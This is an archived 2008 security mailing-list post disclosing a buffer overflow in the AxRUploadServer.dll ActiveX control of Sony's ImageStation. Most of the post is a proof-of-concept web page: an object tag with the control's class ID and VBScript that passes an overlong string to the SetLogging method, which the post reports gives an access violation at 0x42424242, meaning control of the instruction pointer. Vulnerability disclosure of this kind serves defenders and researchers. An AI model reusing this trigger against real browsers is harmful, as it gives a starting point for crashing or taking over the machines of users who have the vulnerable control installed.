OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Buffer Overflow Vulnerability in AxRUploadServer.dll, Activex Method (SetLogging)

david130490hotmail.com
Date: Fri Feb 08 2008 - 10:53:59 CST

Buffer Overflow in AxRUploadServer.dll, this file belongs to ImageStation that is a servicemark of Sony Electronics Inc.

--------------
Access Violation at 0x42424242

The code:

<object classid='clsid:E9A7F56F-C40F-4928-8C6F-7A72F2A25222' id='bof'></object>
<input language=VBScript onclick=Son() type=button value="Explotar">

<script language='vbscript'>
 Sub Son
        arg1=String(5922, "A")
        arg2=String(5, "B")

        bof.SetLogging arg1 + arg2
 End Sub
</script>